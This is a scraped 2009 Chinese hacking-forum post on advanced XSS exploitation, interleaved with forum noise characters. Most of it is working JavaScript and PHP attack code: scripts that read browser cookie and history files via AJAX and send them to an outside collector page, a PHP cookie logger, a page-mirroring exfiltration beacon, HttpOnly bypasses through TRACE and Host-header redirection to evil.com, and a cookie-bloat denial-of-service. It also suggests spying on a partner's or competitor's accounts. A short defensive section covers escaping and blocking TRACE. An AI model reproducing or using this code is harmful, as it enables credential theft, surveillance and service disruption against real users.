XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
* Q- Y; O+ e7 Q  o0 t转帖请保留版权

0 x7 w9 u( ^5 F; S) Y
6 j% i" i8 g* ~
-------------------------------------------前言---------------------------------------------------------


# q" ]3 v7 ]# U0 J+ D$ }本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

, G1 S' G) ]$ |$ S
+ b3 S/ Y6 T2 R& P5 F+ r如果你还未具备基础XSS知识,以下几个文章建议拜读:
1 l; c6 x2 Z5 p9 |http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
% `8 |8 F! [: b  s# c) E8 C) \http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
# T3 ^" x6 F" L4 X: _) U7 r- c0 `http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


, O: u  }7 d  l; J0 x+ n

) V2 k1 U  r* |7 W0 n" U如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
/ \0 d- n* }6 x; X3 f
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
7 L- N$ Z: g% V7 d5 L3 V+ u' f
4 [8 g3 `7 Y" E) S0 vQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

% e# T% E& ]  X, u..........
复制代码------------------------------------------介绍-------------------------------------------------------------
* B# B5 D. P: B& V" x
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

+ Q( F4 P2 F1 t

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



- @; M$ i6 ?8 ?# C( P: [如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
9 @' q  l. d: t$ ?复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

; A4 z! i+ ~" f+ b1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

$ S' N( L$ Y' C  h2 e3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

, P: X5 [6 P0 ?

------------------------------------------研究正题----------------------------------------------------------

: ^" T6 ~8 Q; F8 V$ E0 f

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
# f# _) f, b) t% G1 v# z1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
% h; `- i6 C/ f  l3 }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
: G9 X) h0 x& N, P$ p$ ^
5 r; w3 n8 _( S+ }
* T3 ?/ _) t; @, u; ]


/ f9 `9 ^# u8 K2 l& w" b7 x(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
0 z: E& h( ]% \7 |* K
+ B) H9 k: U. |8 g; v! s5 B7 V

# m$ d$ P$ P* q    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
5 \7 _" p2 J" ~( z& ?/ |

  F. K: [7 G" g! [3 K
; W& U% q/ Y1 [  C    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

# C. F: Z. C$ V6 P- S; o

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
2 b, o% C4 E# U6 q) H3 x复制代码IE6使用ajax读取本地文件    <script>
# a% p$ m) ~! h, O  f: X- k: E2 z
( M3 ^- U" X' c+ [' y+ w; a% U6 {    function $(x){return document.getElementById(x)}
, s5 P+ U/ c/ D! g6 C0 V
; E' @( `  P" M+ Y  I4 h- z, U' o/ t
. S$ u0 ^3 D! y* g" h( y
3 ?' Y+ A: n2 B    function ajax_obj(){

    var request = false;
7 A8 L. j7 u5 m5 @. P3 m2 H
    if(window.XMLHttpRequest) {
* V" X- P) ^' s7 Z1 ]
, s& s2 z! L1 t$ e+ d3 H6 c1 q# W    request = new XMLHttpRequest();
# g& O& o" \- z
    } else if(window.ActiveXObject) {
' b9 t& l5 r: a0 U  ~) z, s
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



) ~  q8 c+ E4 V- f    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

    try {
1 @  f6 u- ?: E" s" D6 _1 a
    request = new ActiveXObject(versions);
; }# N2 X. ^+ [, a3 M
    } catch(e) {}
; m. l8 H( H3 A! w
    }
  y7 j5 K3 l  O0 B' G& e
    }
/ s# {6 Z" r$ Q; B9 M
  z1 H8 {: }4 O- X  A, F1 ^! c    return request;
9 q! n1 A" X. K) g
    }

    var _x = ajax_obj();

( o+ R' X: `" f* p" K! n- C& e. Y    function _7or3(_m,action,argv){
5 w  J% t5 D: R7 `$ a( ]
    _x.open(_m,action,false);
5 q( e% ]1 Q/ z; b: X$ S
: Q/ i$ N% |3 _+ p    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
4 W! I. M! X0 }# g  n" G2 p
    return _x.responseText;
. ?, C3 Q+ ^) d( @# T
  s% `8 l: O3 z, S* A    }
4 c8 u+ d) N$ Q# A9 m3 ]0 C

% P0 q! m3 \. V9 ?1 j/ _1 {; i
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
7 \8 M% a) l. n6 c6 ?5 ]1 l

: ?$ r( I5 ^9 N& e4 c% Y: F5 y
1 M$ L; Z8 X' ~! m2 S( }/ D& `    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

- r2 B) g0 G* ?; s    function $(x){return document.getElementById(x)}



+ O, d  F# q# W) U' H5 g    function ajax_obj(){
; W$ F2 P5 e9 o2 N5 C$ M
    var request = false;
. s7 Z/ @7 U3 W9 x
* F! ?5 D8 E; F+ g0 p2 n    if(window.XMLHttpRequest) {
* c$ a: Q2 O8 V9 ?' \
8 Y: b) V/ \; N) c9 G    request = new XMLHttpRequest();

( l( N; d& e- [1 ^8 M" l  J    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


4 d  b% n. k+ I6 u) Q' _
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

* c0 M) ^: F  e: D% D. p: x" O    for(var i=0; i<versions.length; i++) {
8 S9 o% D% `' U, m5 N, W2 n  i
4 F2 o" o# C9 A$ v" c: J4 s    try {
" y  U9 a' d, R
    request = new ActiveXObject(versions);

    } catch(e) {}
4 v+ l% [( L% s  M/ W" E# y" n% C1 O
    }

" M' D& p" u% s5 s$ U    }

    return request;
3 U# Y/ x% a0 ^- }4 ]" v
    }

' L1 L: |2 k8 j3 E" c* }    var _x = ajax_obj();
. _$ j8 a1 ]1 U/ y3 E
    function _7or3(_m,action,argv){

% ]# A/ }9 G) R' d    _x.open(_m,action,false);
" A+ X) y3 B" Y& J4 e
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
  ~, N! r/ E# h/ B0 L) a  H
    return _x.responseText;
# w/ y2 P+ g- W9 R& S
    }
) X; i7 Y( y+ b$ [

2 ^; T* h: V& U  W( [
    var txt=_7or3("GET","1/11.txt",null);

. i; w) ^5 z' ~) n( w0 y    alert(txt);
$ t* Q/ G: ]0 j) _; G8 O
9 e$ v3 F" M) u7 f- I

    </script>
! z: d2 \6 n* d复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
$ ?  S' A, D/ L9 S0 n8 h


Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



<?   
6 j6 x+ h9 I4 q' G2 ~) U
/*  
* T5 u& w; Z. t2 [6 c
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
! x9 P3 h' W) [4 x5 [
1 A/ C% ~0 J9 @4 w9 ^0 B     www.inbreak.net   
; }0 U8 V& G& C3 m, F
" ^8 n" i3 i, v. x3 b5 X5 j     author voidloafer@gmail.com 2009-4-22   
0 |) I: h9 I& E! _. |5 I  V
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
$ z" r8 s3 V1 z" w/ Q9 B- n
*/  
- Y: _9 \0 Z5 d: p
2 x2 V) R- y4 i0 `header("Content-Disposition: attachment;filename=kxlzx.htm");   

% N: N( b2 l, q4 i, t' H! jheader("Content-type: application/kxlzx");   
9 n# E* F7 i! Y. z# f, Y# x
/*  
# V- l+ Q6 l% W; F3 _
     set header, so just download html file,and open it at local.  
2 p! l) ~7 Z! F* X5 P7 g! Q
*/  
0 s- a! P5 w: I3 T; y: O3 K
?>   
; H8 C9 N; y! H+ |5 L, j
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

5 {; D) X; \1 g: q# \     <input id="input" name="cookie" value="" type="hidden">   
7 P0 s0 ?2 g5 ?$ m, ~0 x7 r
</form>   

$ l: T% @: V8 @<script>   
3 j. l- E9 x0 l5 Q- U4 c. N7 P) L
  k7 ~6 y& e& `0 a$ n2 M. j' Q1 {function doMyAjax(user)   

{   
% i7 ^2 v$ Q8 h1 N* N% H5 T
var time = Math.random();   
$ j8 w3 G0 A; Q* `2 s5 M% _1 L
( l. o6 V! u% K* g* m/*  
4 ]. i1 V6 h* a
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

3 B, \1 ~4 r0 H$ A5 K  `and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
& v* J( t+ [% k! L
and so on...  

5 m  r4 N/ E6 N7 ?0 C6 \*/  
* i, o; M# a4 Q! G
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   
! o( j0 C# J( P$ d7 K7 W: q

: O$ _6 W' c* C6 U. _! o1 G) @
+ s/ a8 e# n1 @}   
, b6 I% N0 r9 `3 b
   

! B1 }. o) ^0 f* hfunction Enshellcode(txt)   

{   

# X( y$ E) R/ G3 _1 `var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

& k( v7 w% `% e8 N. t* u% |/ bl= url.length;   

for(;i<l;i++){   

& v4 i* |$ y4 `+ R' U' Zk=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
4 ?" T6 n# W* w; M/ K
  D7 j4 b3 ~0 y3 B$ h. L" kif (l%2){curl+="00";}else{curl+="0000";}   
: X+ r! a' Z/ p1 N6 U
1 W. L, @  [% ccurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
# }4 i$ L7 Z$ q5 e  p! |
}   

7 @- A1 c9 H  l  d0 x  ^   

$ r& x+ b, a& A   

var xmlHttp;   

function createXMLHttp(){   
0 `  U/ F# N( E  U7 Q0 ?! m& s
     if(window.XMLHttpRequest){   

$ ?8 F/ {, f9 ?xmlHttp = new XMLHttpRequest();           

     }   

: ~8 d8 {) R% e# Q6 A% r& O8 O7 G     else if(window.ActiveXObject){   

: F; P  f. S# R2 xxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
" K3 Z. M$ u2 J: z# S+ L
6 y+ _# I' P* w4 L; ?9 O     }   
- V9 l. v# r1 P
}   

  k$ D" A( z; b! M9 \- _' S   
2 C/ f2 E! S# g1 o$ R. R0 t+ N
) M* W* C- w8 ?4 e# Ifunction startRequest(doUrl){   

. `2 |2 V! Y5 g; C, Z8 @& x5 E   
3 N! x8 b7 }1 ]+ L' y
     createXMLHttp();   
; z0 d% b5 v; S  V# n- o* F


     xmlHttp.onreadystatechange = handleStateChange;   
: \" I: C( B2 L6 M% h
9 n1 |$ O; K" s; X$ {

     xmlHttp.open("GET", doUrl, true);   


0 h: I: z7 Z& I/ m3 ?! v* H
     xmlHttp.send(null);   

% \& m2 b! C: P, K. Y1 J; z
3 `. n' \- P( A, T


}   

   
+ K( F: a4 j: P' W3 H/ x
function handleStateChange(){   
: a4 b9 z0 y+ l, O
* R" {; d: N. k' g/ [9 f* _6 w     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
* g5 p. v4 r# C
        
" J- c, V2 w( d* n: F5 {& @+ T" o
     }   

}   

   

   

function framekxlzxPost(text)   
& O) y0 x3 S1 S- @# @* G$ G& {! O8 ~
0 f! ~$ g  Y7 c0 m  m{   

8 R" L  [' Q; G* D     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
& C' A/ _, O/ A' V$ E" w/ K
}   

   
+ q5 H4 O: ^' |1 I" e7 {1 C
doMyAjax("administrator");   

   

% ?2 k8 k, c# V  X4 L9 j8 i9 U) I</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 t: R4 X8 @2 g5 y1 b3 f
9 v; B. b" ]4 s: mvar xmlHttp;  

: ^0 F! P' |$ `function createXMLHttp(){  
, r( G9 j$ O" H4 J6 P' t
     if(window.XMLHttpRequest){  
7 r% A3 W# n8 o/ R2 a1 ^# D
         xmlHttp = new XMLHttpRequest();         

     }  

5 a+ c  m. Z% F     else if(window.ActiveXObject){  

, @3 `, b5 l# u, W- b7 H         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
7 P! h/ R9 H/ h+ h; f3 H- W9 Y2 B
1 t$ O& N3 S9 W+ Z: |' Y0 d+ Z     }  
+ c' e; A) }: G% e0 x
}  
8 F5 `2 `) B1 b
- w. c5 u  P2 l- Y5 D8 c" ]   
3 g# H, u9 ~* p, y3 y: t7 t! V
% f: ?' V; C* j: G% J, kfunction startRequest(doUrl){  
: R' ~7 a- h6 I2 F
           
! r& y2 v! r% ]: N
$ D5 R8 d4 B% H* Y" Q; L7 K     createXMLHttp();  
7 _  n6 f9 y2 S
' D' f! F7 t' A      

, E# m- h% Q- ^. Y% f) f     xmlHttp.onreadystatechange = handleStateChange;  
" y* }. l: o% W% ?" {5 K0 [
      

     xmlHttp.open("GET", doUrl, true);  
: r; Q- g. }/ B- Q
- u' W7 l: d- w* n3 g; p+ ]' {) G      

     xmlHttp.send(null);  
' H8 l8 S% d9 g( E, `
& _& C- @6 H9 x- N8 b# n      

      

( ?% K+ t  i4 {3 G& [}   
/ r9 _) Y+ {! F! M0 c. H7 h* h5 U% K
; H  [5 J  P# u0 s  b7 d/ H   

2 J4 y3 R2 F9 P2 Afunction handleStateChange(){  
6 y$ |# Z8 [" c! }" p  x8 g% T
7 y4 U. ~: U" J3 o. G) s) @) E5 o( B     if (xmlHttp.readyState == 4 ){  
8 w* e- N5 s$ m: Y1 P
             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
/ c% W4 \  f1 u# `
               

     }  
' E' d1 U' a6 H1 j: a
}  
3 d" Z+ {. P+ g) c. W/ `8 N
   

2 Q! Y1 f! c9 h- @/ r5 R6 G# t* a9 zfunction doMyAjax(user,file)  
+ d. U& G# J8 W3 `' x0 G/ F
+ R' B* }) @( n6 D; @; a; [, m7 P( X{  

3 h6 K; @/ X% p         var time = Math.random();  

           
& f& z" `. n$ l2 q+ O* z4 R+ J+ Z
  A3 i' z+ O9 t/ d9 V         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

  _( }, I3 [" s# k0 k6 f, e# O           
4 y$ k4 Z7 c# c' b$ `. g
         startRequest(strPer);  

      
) j2 F# X/ L3 j1 W0 K
}  

   
9 E) M8 ]4 y" {. n
* i4 x- R4 a0 [function framekxlzxPost(text)  
, m1 D  z" G7 j" C
& P7 G% K, Z% }3 }# y9 }3 e" O* \( L/ {{  

) X1 `& D- u% W6 w9 l     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
: m5 V' e7 U" V) R7 a: q5 c  D
     alert(/ok/);  

/ X' o0 }. @5 L1 C$ e}  

1 ^! |% J  |: L7 a" W4 u   
3 B% X9 I* V! s: T( O2 R
5 M3 H( O" r: ZdoMyAjax('administrator','administrator@alibaba[1].txt');  
* V4 L% @$ o0 k- |) t& t
   

0 p6 n4 t" Z$ s' Z( ^6 |3 i$ P: F( a& N! C</script>
0 _; }! e# T$ h9 J! A8 C

4 @6 ?6 q+ }+ I2 N5 z7 k

. q: G9 y' f# U( d0 q+ @9 u. {8 z- r
& p4 k* I& q) d. S, [: x& V8 b6 K5 La.php


- l+ C1 t2 |1 [
<?php      

& H; |1 w* o7 b5 O2 C   
& d) S' z6 C2 B% F7 Y0 I- v
9 r8 ]; i* |9 a" E0 j  i$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
$ P+ S# Z/ M  F6 k
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

% N6 p. L: r6 x; m$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

5 S$ m6 k+ n8 X1 Tfwrite($fp,$_GET["cookie"]);      

fclose($fp);   

8 f  J+ a3 k3 a# R. J7 f?>
2 _/ x! D9 R0 O6 K+ I; d复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
, k) p/ c+ D3 j6 `: d7 v利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
) d8 g6 G5 j$ N  t; d* f& E: d
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
3 D* i  Q2 e- k. G+ X
, b1 Z" @4 l* l. Z; v! p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
: u4 H8 \5 J( m8 @
2 e) Y$ L( V( u! Mvar image = new Image();

& h+ V( U1 E1 ?) ~7 |- U1 [9 Fimage.style.width = 0;
: S+ c- Y0 C9 G; _5 c2 g6 e, f
2 Y  E1 P9 x  ~- m* I. |+ @image.style.height = 0;

image.src = s;
4 g, e# l, j9 o+ B" b  F
}

* q0 D  i% ]8 J# g( GgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
2 D; U1 q, _5 a+ R复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
' F  @. {" m/ X, B2 n' u1 p这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
) T" W. y9 q0 Y! E- ~
; C: N2 o3 y: J4 V. Xwhile (str.length < 4000){
# N. C: P0 S  B- q
5 q# l7 G+ ?9 p* c) H    str += metastr;
  ?! G' d% y3 L# R
! n& q3 C0 O& J% e}
, K# O4 ~: u1 t# `* D4 v( }: y* p
$ Y5 b0 j5 F, C; L% T' n

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

6 {6 K/ f4 E7 v) `6 t</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
& j9 s7 G+ k: T" v9 W复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
6 `; o) {3 D; z  Hserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

7 [8 x, G/ j! G& G* P7 W
. T9 E8 S, g# `+ j3 T; M" s
+ Q8 h4 N; x3 Q9 Z


; |* |* M) w1 u, N5 O- P; I(III) Http only bypass 与 补救对策:
( f: m6 f8 ?4 N2 w9 g% C
) P" G$ r. L; G' u; u什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

: i% L1 c1 e+ z# Q<!--
, j( c! c% W% O$ F
9 n6 d) W* s! o9 a% m  F8 q# i$ Yfunction normalCookie() {

$ S; B! t% C+ _8 t$ [document.cookie = "TheCookieName=CookieValue_httpOnly";

, |, i% S9 E& }9 ?alert(document.cookie);
2 e$ c2 }. O9 O4 k& f
}



% P$ t3 c$ S5 I& |, i7 }2 R

' j' g, ?8 _, {function httpOnlyCookie() {
3 D- e2 Z: X5 [# {9 w* H! z5 U: T
) U) W2 R( @4 _6 K, D5 K; Rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

3 f3 {4 I) t" w2 A- c: v1 Ealert(document.cookie);}

* d  F& ]9 e5 b6 m

//-->

$ j" a5 W. O! `</script>
1 B( }7 ]5 c1 n4 t


: p. d# U% S+ A<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
% s$ [+ V* {6 w  Q
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
" J. R, }( h9 \  R" e' t- l. p复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


# s) |% h9 N  S5 m; ]
var request = false;

5 J9 W. q" v6 _        if(window.XMLHttpRequest) {
/ @4 g9 h# s( `" N' G3 T$ y- Q. Z
3 d4 l; j' Y3 O' o, A. P0 }- ]+ ~* M% M            request = new XMLHttpRequest();
+ `. E+ f. j5 e' e" k+ V; S
            if(request.overrideMimeType) {

6 j' H$ b* M* R! x7 k( b- _  {                request.overrideMimeType('text/xml');
0 Z8 Y% B( {3 F- h6 |% X
            }
- B, l3 v$ T. [. ]
( J8 V3 `2 @1 d4 K, O: e7 d  y        } else if(window.ActiveXObject) {
( p4 {) B! {- N; f
  u3 ~+ B6 W2 n) i) `$ S            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
$ Y% o4 c7 ^5 T7 c' P) @* E
2 P/ j: I* X3 H2 @0 r* O                try {

" l2 ]4 V( H' M( O% r, N) Y                    request = new ActiveXObject(versions);

                } catch(e) {}
9 C  N) n& ]5 A4 X& B
            }
2 m' L5 p% C0 {, j$ o) Q) D1 Y
        }

xmlHttp=request;

0 G# x, e: p2 GxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
9 X0 Q5 o8 N5 ~
( ?& G& u# N3 J5 x8 Y8 gxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
+ ^! \. p0 f' g# `/ f' b
6 H2 D$ Q7 z) ]8 k0 a4 m7 E</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' W8 O& m7 y2 y" S4 p1 }% d
( e# g, b' q+ B) n5 ?XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
3 O' G3 e! T$ r( t$ \  ^" [
XmlHttp.send(null);
- [% P$ M! z; K8 W  d! {" M
0 o" @9 q9 J; N+ Dvar resource=xmlHttp.responseText
- o7 K8 k: ~6 z. q, i  `/ n
/ }' y6 ~" ]9 ^# a- p# j2 U$ V- Eresource.search(/cookies/);
* u6 r- U  [0 }" E7 U  @/ O
# K, u5 N4 I- Y1 \6 X: i0 A, |- l......................

</script>
2 @3 g- _5 ^- x  o  U



7 ]$ D5 f  \  ]0 v4 {/ L% ?: @
- M: w7 w7 \8 J5 G: F如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

RewriteEngine On
% O! _6 M: W0 Q9 ]
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
. e6 i. v. [; b
# i$ V+ `0 b7 Z+ J2 |

6 J$ n' b1 H. D/ I- HSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
* X. z5 D% r0 f+ w
acl TRACE method TRACE

# H: c0 v- F5 f: u. x# a...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
* |9 ]4 R3 I' k, e5 H$ G
XmlHttp.open("GET","http://www.google.com",false);
! @4 c4 w" ]2 E1 t! S& X& d
6 N; I/ X% g8 a2 j7 H* @8 WXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
/ u9 a. {7 p( R
9 f% \+ t4 g% X6 aXmlHttp.send(null);

3 O8 P) e0 J  I</script>
$ n: v* `3 v1 Q1 c复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

% W/ ]4 A. I8 j3 g% Xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

% Y# D/ e  c3 V  s, K! ]; m
& ^& d' o' N* p9 V: p+ k" \0 {8 R
& G+ c; G9 {! [XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
7 q4 T7 o, H" y. |+ C
9 X7 j6 h& B3 A; g' U5 I' ~7 lXmlHttp.send(null);

1 X2 s( s4 M1 d2 I5 N& r, y<script>
$ J  U  f) M/ d% [: m复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
